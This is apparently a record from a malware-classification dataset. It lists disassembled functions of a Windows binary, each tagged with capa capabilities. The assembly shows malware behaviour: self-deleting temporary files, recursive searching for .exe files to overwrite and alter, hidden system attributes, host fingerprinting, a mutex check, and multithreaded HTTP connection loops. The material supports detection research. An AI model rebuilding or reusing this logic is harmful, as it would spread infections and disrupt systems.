joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406e7d
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push edi
push dword [ebp + 8]
call ebx
push 0x41
pop ecx
mov esi, eax
add esi, dword [ebp + 8]
xor eax, eax
push 0x41
mov byte [ebp - 0x10c], 0
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
pop ecx
mov byte [ebp - 0x214], al
lea edi, [ebp - 0x213]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x414], al
push 0x7f
pop ecx
lea edi, [ebp - 0x413]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
cmp byte [esi], 0x5c
je 0x406eef
cmp esi, dword [ebp + 8]
jbe 0x406ee2
dec esi
cmp byte [esi], 0x5c
jne 0x406ed7
cmp byte [esi], 0x5c
je 0x406eef
or eax, 0xffffffff
jmp 0x40700f
push 0x458ff0
lea eax, [ebp - 0x10c]
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00421b28
pop ecx
call fcn.00421b32
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x10c]
add edx, 4
push edx
push eax
call ebx
lea eax, [ebp + eax - 0x10c]
push eax
call fcn.00413470
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.00421e50
add esp, 0x10
push esi
push esi
call ebx
push eax
lea eax, [ebp - 0x214]
push eax
call ebx
lea eax, [ebp + eax - 0x214]
push eax
call fcn.004133d5
add esp, 0xc
xor esi, esi
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
or eax, 0xffffffff
cmp edi, eax
je 0x40700f
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x214]
push eax
mov dword [ebp - 4], esi
call ebx
push eax
lea eax, [ebp - 0x214]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x414]
push str.c__y__tk__inul__z__s____s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push esi
push esi
lea eax, [ebp - 0x414]
push eax
push 0x459548
push esi
push esi
call dword [0x458c8c]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407757
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x348
push ebx
push esi
push edi
mov edi, dword [ebp + 0x7c]
push 5
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x78]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
and dword [ebp + 0x7c], 0
lea eax, [ebp - 0x2d8]
push str._s
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4078be
test byte [ebp - 0xd0], 0x10
je 0x4077f5
cmp byte [ebp - 0xa4], 0x2e
je 0x4077f5
cmp edi, 3
jg 0x4077f5
lea eax, [ebp - 0xa4]
push eax
push dword [ebp + 0x78]
lea eax, [ebp - 0x1d4]
push 0x42a3a0
push eax
call esi
lea eax, [ebp - 0x1d4]
push edi
push eax
call fcn.00407757
add esp, 0x18
test eax, eax
jne 0x4078d1
lea eax, [ebp - 0xa4]
push 0x42a564
push eax
call fcn.00421d10
test eax, eax
pop ecx
pop ecx
je 0x40780f
mov byte [eax], 0
lea eax, [ebp - 0xa4]
push str..exe
push eax
call fcn.0041356e
test eax, eax
pop ecx
pop ecx
jne 0x40788a
lea eax, [ebp - 0xa4]
push eax
call fcn.0041495e
test al, al
pop ecx
je 0x40788a
lea eax, [ebp - 0xa4]
push eax
call fcn.00407684
test al, al
pop ecx
je 0x40788a
lea eax, [ebp - 0xa4]
push eax
call fcn.0040761c
test al, al
pop ecx
jne 0x40788a
mov eax, dword [0x457880]
mov cl, byte [ebp - 0xa4]
shl eax, 6
cmp cl, byte [eax + 0x454640]
jne 0x40787d
mov cl, byte [ebp - 0xa3]
cmp cl, byte [eax + 0x454641]
je 0x40788a
lea eax, [ebp - 0xa4]
push eax
call fcn.00407652
pop ecx
inc dword [ebp + 0x7c]
lea eax, [ebp - 0xd0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4078be
cmp dword [0x457880], 0xc7
ja 0x4078be
cmp dword [ebp + 0x7c], 0x1e
jl 0x4077ae
cmp edi, 1
je 0x4077ae
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebx
add ebp, 0x70
leave
ret
xor esi, esi
inc esi
jmp 0x4078c0

Function at 0x407a11
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x80
push esi
push dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 4], ebx
call edi
push ebx
push esi
push 2
push ebx
push 2
push 0x40000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x407a5c
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0x10]
call fcn.004138b9
cmp byte [ebp + 0x14], bl
pop ecx
je 0x407a88
cmp byte [ebp + 0x14], 1
jne 0x407a7b
push 5
jmp 0x407a83
cmp byte [ebp + 0x14], 2
jne 0x407a88
push 7
push dword [ebp + 0x10]
call edi
mov eax, dword [ebp + 0xc]
cmp dword [ebp - 4], eax
pop edi
pop esi
sete al
pop ebx
leave
ret
Function at 0x408c1d
Capabilities:
Get system information on windows

Disassembly:
push ebp
lea ebp, [esp - 0x64]
sub esp, 0xc0
push ebx
push esi
push edi
push 0x24
lea eax, [ebp + 0x40]
push 0
push eax
call fcn.00421a10
mov esi, 0x9c
push esi
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.00421a10
add esp, 0x18
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x408c6c
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x5c], 0x94
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.GetNativeSystemInfo
mov ebx, str.kernel32.dll
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
test eax, eax
je 0x408c94
lea ecx, [ebp + 0x40]
push ecx
call eax
jmp 0x408c9e
lea eax, [ebp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push str.GetProductInfo
push ebx
call esi
push eax
call edi
cmp dword [ebp - 0x4c], 2
pop edi
pop esi
pop ebx
je 0x408cb6
xor al, al
jmp 0x408cf8
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp + 0x70]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*2]
mov ecx, dword [ebp + 0x6c]
mov dword [ecx], eax
mov al, 1
cmp byte [ebp + 0x3e], al
setne cl
mov byte [edx], cl
movzx ecx, word [ebp + 0x38]
mov edx, dword [ebp + 0x74]
mov dword [edx], ecx
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp + 0x7c]
and ecx, 0xffff
cmp word [ebp + 0x40], 0
mov dword [edx], ecx
mov edx, dword [ebp + 0x78]
sete cl
mov byte [edx], cl
add ebp, 0x64
leave
ret

Function at 0x408e7c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push esi
xor ebx, ebx
push 0x7d0
mov byte [0x457aa0], bl
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [0x457aa8], eax
push 0x32
lea eax, [ebp - 0x204]
push eax
push 0x42fbd8
mov byte [0x457aa0], 1
call fcn.0041321d
add esp, 0xc
push eax
push 0x4578a0
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp + 8]
mov word [0x457890], 2
call fcn.004136c9
add esp, 0x10
push 0x50
mov dword [0x457894], eax
call dword [0x458cdc]
mov word [0x457892], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [ebp + 0x10]
cmp esi, 1
mov dword [0x457aa4], eax
jl 0x408f1e
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push 0x408e0e
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
dec esi
jne 0x408f08
pop esi
pop ebx
leave
ret

Function at 0x409108
Capabilities:
Set file attributes

Disassembly:
push 0x80
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call fcn.004138a4
test eax, eax
pop ecx
je 0x40916a
push edi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409169
push esi
push 1
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
je 0x409161
push esi
push 0x4090e8
push 0xe
push edi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
pop edi
ret
Function at 0x4091dc
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
push edi
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [ebp + 0xc]
inc ebx
cmp ebx, 1
lea eax, [ebp - 0x348]
jne 0x409216
push dword [ebp + 0x18]
push dword [ebp + 8]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x409228
push dword [ebp + 8]
push str._s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 0xc], eax
je 0x409329
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
test byte [ebp - 0x244], 0x10
je 0x4092ad
cmp byte [ebp - 0x218], 0x2e
je 0x409311
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0x42a3a0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp + 0x18]
lea eax, [ebp - 0x104]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
push eax
call fcn.004091dc
add esp, 0x24
test eax, eax
je 0x409311
cmp ebx, 3
jg 0x409311
xor esi, esi
inc esi
jmp 0x40932b
lea eax, [ebp - 0x218]
push str..exe
push eax
call fcn.0041356e
test eax, eax
pop ecx
pop ecx
je 0x409311
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call esi
push 0x42a3a8
lea eax, [ebp - 0x104]
push eax
call edi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x104]
push eax
call edi
lea eax, [ebp - 0x104]
push eax
call fcn.004138a4
test eax, eax
pop ecx
je 0x409311
lea eax, [ebp - 0x104]
push eax
call fcn.00409196
cmp eax, dword [ebp + 0x10]
pop ecx
jge 0x40933b
lea eax, [ebp - 0x244]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x409254
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0x14]
call esi
jmp 0x4092a8

Function at 0x4093ea
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push edi
push 0x80
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x41
xor eax, eax
pop ecx
mov byte [ebp - 0x108], 0
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x108]
push eax
call fcn.0040934c
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call fcn.00409108
add esp, 0xc
pop edi
leave
ret
Function at 0x409437
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push esi
push edi
mov esi, 0x457ab8
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor edi, edi
cmp eax, edi
mov dword [ebp - 4], eax
jbe 0x4094b8
push ebx
push edi
push 0x80
push 4
push edi
push 2
push 0x40000000
lea eax, [ebp - 0x88]
push 0x26
push eax
call fcn.0041353f
pop ecx
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4094b7
push 2
push edi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1000
push edi
push esi
call fcn.00421a10
add esp, 0xc
pop ebx
pop edi
pop esi
leave
ret
Function at 0x40bf1f
Capabilities:
Set file attributes

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebp
push esi
push edi
push 0x458ff0
mov esi, 0x4590f8
push esi
call ebx
call fcn.0041350c
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
and eax, 7
add eax, 6
push eax
push esi
call ebp
add eax, esi
push eax
call fcn.00413470
push esi
call fcn.00413c43
add esp, 0xc
push 7
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x42a3a8
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
mov edi, 0x459200
push edi
call ebx
call fcn.0041350c
push 0xa
pop ecx
xor edx, edx
div ecx
add edx, 0xc
push edx
push edi
call ebp
add eax, edi
push eax
call fcn.00413470
push edi
call fcn.00413c43
add esp, 0xc
push 7
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x42a3a8
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x40bfb8
Capabilities:
Get disk information
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
push edi
push 0xc
xor eax, eax
pop ecx
xor ebx, ebx
mov byte [ebp - 0x40], bl
lea edi, [ebp - 0x3f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0xf
xor eax, eax
pop ecx
mov byte [ebp - 0x80], bl
lea edi, [ebp - 0x7f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0xc], 0x32
mov dword [ebp - 8], 0x63
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x40]
push eax
mov esi, 0x458d98
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
mov byte [ebp - 4], bl
lea edi, [ebp - 3]
stosw word es:[edi], ax
push 3
stosb byte es:[edi], al
lea eax, [ebp - 4]
push 0x458ee8
push eax
call fcn.004216d0
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0xa
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 8]
call fcn.004298ee
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40c3d5
Capabilities:
Get hostname

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0xc4
push edi
push 0xf
xor eax, eax
pop ecx
mov byte [ebp + 0x30], 0
lea edi, [ebp + 0x31]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x1f
xor eax, eax
pop ecx
mov byte [ebp - 0x50], 0
lea edi, [ebp - 0x4f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp + 0x70]
push eax
lea eax, [ebp - 0x50]
push eax
mov dword [ebp + 0x70], 0x7f
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x50]
push eax
movzx eax, byte [ebp + 0x7c]
push eax
lea eax, [ebp + 0x30]
push eax
call fcn.004133d5
add esp, 0xc
lea eax, [ebp + 0x30]
push eax
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
pop edi
jne 0x40c447
xor al, al
jmp 0x40c450
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add ebp, 0x74
leave
ret
Function at 0x40c57b
Capabilities:
Terminate process

Disassembly:
push dword [0x459664]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push 0
push dword [esp + 0xc]
push 0x458de0
push 0
push 0
call dword [0x458c8c]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x40cde6
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
push 0x4a
pop ecx
xor eax, eax
mov byte [ebp - 0x234], 0
lea edi, [ebp - 0x233]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x41
pop ecx
xor eax, eax
mov byte [ebp - 0x108], 0
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x42a77c
lea eax, [ebp - 0x234]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x459310
lea eax, [ebp - 0x234]
push eax
call esi
push 0x42a778
lea eax, [ebp - 0x234]
push eax
call esi
mov ebx, 0x458ff0
push ebx
lea eax, [ebp - 0x108]
push eax
call edi
call fcn.0041350c
push 3
pop ecx
xor edx, edx
div ecx
lea eax, [ebp - 0x108]
add edx, 5
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x108]
push eax
call fcn.00413470
pop ecx
pop ecx
push str..exe
lea eax, [ebp - 0x108]
push eax
call esi
cmp byte [0x459668], 0
jne 0x40ceca
lea eax, [ebp - 0x108]
push eax
call fcn.004138a4
test eax, eax
pop ecx
je 0x40ceca
lea eax, [ebp - 0x108]
push eax
call fcn.00413638
cmp eax, 0x30d40
pop ecx
jae 0x40cefd
push 0x80
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
lea eax, [ebp - 0x108]
push eax
push 0x458de0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x108]
push eax
call fcn.004017f4
pop ecx
push 1
push ebx
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x108]
push eax
push 0
push 0
call dword [0x458c8c]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40cfa1
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, 0x459310
push ebx
call esi
cmp eax, 8
jl 0x40d05b
push edi
push 0x41
pop ecx
push dword [ebp + 8]
xor eax, eax
mov byte [ebp - 0x10c], 0
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x10c]
push eax
call esi
lea esi, [ebp + eax - 0x10c]
cmp byte [esi - 1], 0x5c
je 0x40d005
mov byte [esi], 0x5c
inc esi
mov byte [esi], 0
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 4], 0x10
push dword [ebp - 4]
push esi
call fcn.00413470
pop ecx
pop ecx
push str..exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x80
lea eax, [ebp - 0x10c]
push eax
call edi
lea eax, [ebp - 0x10c]
push eax
push ebx
call fcn.004139dc
pop ecx
pop ecx
push 7
lea eax, [ebp - 0x10c]
push eax
call edi
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x16
jle 0x40d012
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40d05f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp byte [0x458dd8], 0
je 0x40d0d2
cmp byte [0x458dd9], 0
jne 0x40d0d2
push 0x458ee8
call fcn.0040cfa1
lea eax, [ebp - 0x108]
mov dword [esp], 0x100
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x40d0d2
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebp + eax - 0x108], 0x5c
je 0x40d0c5
push 0x42a3a8
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x108]
push eax
call fcn.0040cfa1
pop ecx
push 0x458ff0
call fcn.0040cfa1
pop ecx
leave
ret
Function at 0x40d962
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x458d80
call edi
xor esi, esi
cmp dword [ebp + 0x14], 1
jne 0x40d986
mov esi, dword [ebp + 0x10]
and dword [ebp + 0x14], 0
test esi, esi
je 0x40d9c7
jmp 0x40d991
inc esi
cmp byte [esi], 0x22
je 0x40d990
mov ebx, 0x42a778
jmp 0x40d9a0
mov byte [eax], 0
push ebx
push esi
call fcn.0041356e
test eax, eax
pop ecx
pop ecx
jne 0x40d99d
push 0x42a7b8
push esi
call fcn.0041356e
test eax, eax
pop ecx
pop ecx
mov dword [ebp + 0x14], eax
je 0x40d9c7
inc dword [ebp + 0x14]
mov byte [eax], 0
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x459438
push 0x459434
push 0x459430
push 0x45942c
push 0x459428
call fcn.00408c1d
add esp, 0x14
test al, al
je 0x40dbb5
push 0x104
mov ebx, 0x458ee8
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x42a3a8
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
call fcn.004149f2
pop ecx
call fcn.0040bfb8
call fcn.0040d3b0
xor ebx, ebx
cmp esi, ebx
je 0x40daaa
mov al, byte [esi]
cmp al, 0x2d
jne 0x40da80
push 0x15
inc esi
call fcn.0040c455
test al, al
pop ecx
je 0x40da62
mov byte [0x459660], 1
cmp byte [esi], bl
je 0x40da59
push esi
push 0x459310
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp + 0x14], 0x40d745
jmp 0x40dada
push 0x16
call fcn.0040c455
test al, al
pop ecx
je 0x40dbb5
mov byte [0x459660], 1
cmp byte [esi], 0
je 0x40dad3
jmp 0x40da9c
cmp al, 0x24
jne 0x40daaa
push 0x18
call fcn.0040c455
test al, al
pop ecx
je 0x40dbb5
mov byte [0x459668], 1
inc esi
push esi
push 0x459310
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40dad3
push 0x17
call fcn.0040c455
test al, al
pop ecx
je 0x40dbb5
cmp esi, ebx
je 0x40dad3
push esi
push 0x459310
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 0x14]
call fcn.0040d4a4
pop ecx
mov dword [ebp + 0x14], 0x40cf99
call fcn.0040a850
call fcn.0040d6d7
jmp 0x40daf0
call fcn.00413c06
call fcn.00413be5
call fcn.0040d3e9
test al, al
jne 0x40dae6
lea eax, [ebp - 0x190]
push eax
push 0x101
call dword [0x458b88]
push 0x44f7b8
call edi
push 0x44f79c
call edi
push 0x459700
call edi
push 0x459834
call edi
push 0x44f7e0
call edi
push 0x45966c
call edi
push 0x4596e4
call edi
push 0x4596cc
call edi
push 0x4596b4
call edi
push 0x45969c
call edi
push 0x459684
call edi
cmp byte [0x459668], 0
je 0x40db77
call fcn.0040d1f3
test al, al
je 0x40db72
push 0x1a
call fcn.0040c3d5
pop ecx
call fcn.00410a2b
call fcn.0040d05f
call fcn.0040c6e7
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x40c338
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push 0x40d0df
push ebx
push ebx
call esi
cmp byte [0x459668], 0
je 0x40dbad
call fcn.004108f1
call fcn.0040c5a7
call dword [ebp + 0x14]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x40e7b3
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp byte [ebp + 0x18], bl
push esi
push edi
je 0x40e7d2
push 0x1770
mov byte [0x459669], bl
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4bc
mov byte [0x459669], 1
call fcn.00410adc
push 7
mov edi, str.http:__
push edi
push dword [ebp + 8]
mov esi, eax
call fcn.00422291
add esp, 0x10
test eax, eax
je 0x40e810
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x40e81a
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edi, [esi + 0x480]
push edi
lea ecx, [esi + 0x300]
push ecx
lea eax, [esi + 0x200]
push eax
push dword [ebp + 8]
call fcn.0040ea4e
mov al, byte [ebp + 0x1c]
mov byte [esi + 0x495], al
mov eax, dword [ebp + 0x10]
add esp, 0x10
mov byte [esi + 0x494], 1
mov dword [esi + 0x4a4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push dword [ebp + 0xc]
mov dword [esi + 0x4a0], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x7f
lea eax, [esi + 0x400]
jg 0x40e888
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40e896
push 0x7f
push dword [ebp + 0xc]
push eax
call fcn.00421be0
add esp, 0xc
lea eax, [esi + 0x200]
push eax
mov word [esi + 0x484], 2
call fcn.004136c9
mov dword [esi + 0x488], eax
xor eax, eax
mov ax, word [edi]
pop ecx
push eax
call dword [0x458cdc]
cmp dword [ebp + 0x24], 1
mov word [esi + 0x486], ax
mov al, byte [ebp + 0x20]
mov byte [esi + 0x496], al
lea eax, [esi + 0x498]
mov dword [esi + 0x4b8], ebx
mov dword [esi + 0x4b4], ebx
mov dword [esi + 0x4b0], ebx
mov dword [esi + 0x4ac], ebx
mov dword [esi + 0x4a8], ebx
mov byte [eax], bl
mov byte [esi + 0x497], bl
mov byte [esi + 0x499], bl
jne 0x40e912
mov byte [eax], 1
mov byte [esi + 0x497], 1
jmp 0x40e925
cmp dword [ebp + 0x24], 2
je 0x40e909
cmp dword [ebp + 0x24], 3
jne 0x40e925
mov byte [esi + 0x499], 1
mov eax, dword [ebp + 0x28]
dec eax
je 0x40e94e
push 2
pop ecx
sub eax, ecx
je 0x40e946
dec eax
je 0x40e93e
or dword [esi + 0x49c], 0xffffffff
jmp 0x40e958
mov dword [esi + 0x49c], ecx
jmp 0x40e958
mov dword [esi + 0x49c], ebx
jmp 0x40e958
mov dword [esi + 0x49c], 0xfffffffe
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 4]
push eax
push ebx
push esi
push 0x40e597
push ebx
push ebx
call edi
mov eax, dword [ebp + 0x14]
cmp eax, 1
jl 0x40e999
mov dword [ebp + 0x18], eax
lea eax, [ebp - 4]
push eax
push ebx
push esi
push 0x40dcc9
push ebx
push ebx
call edi
dec dword [ebp + 0x18]
jne 0x40e978
jmp 0x40e996
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x14]
cmp dword [esi + 0x4b4], eax
jb 0x40e98e
pop edi
pop esi
pop ebx
leave
ret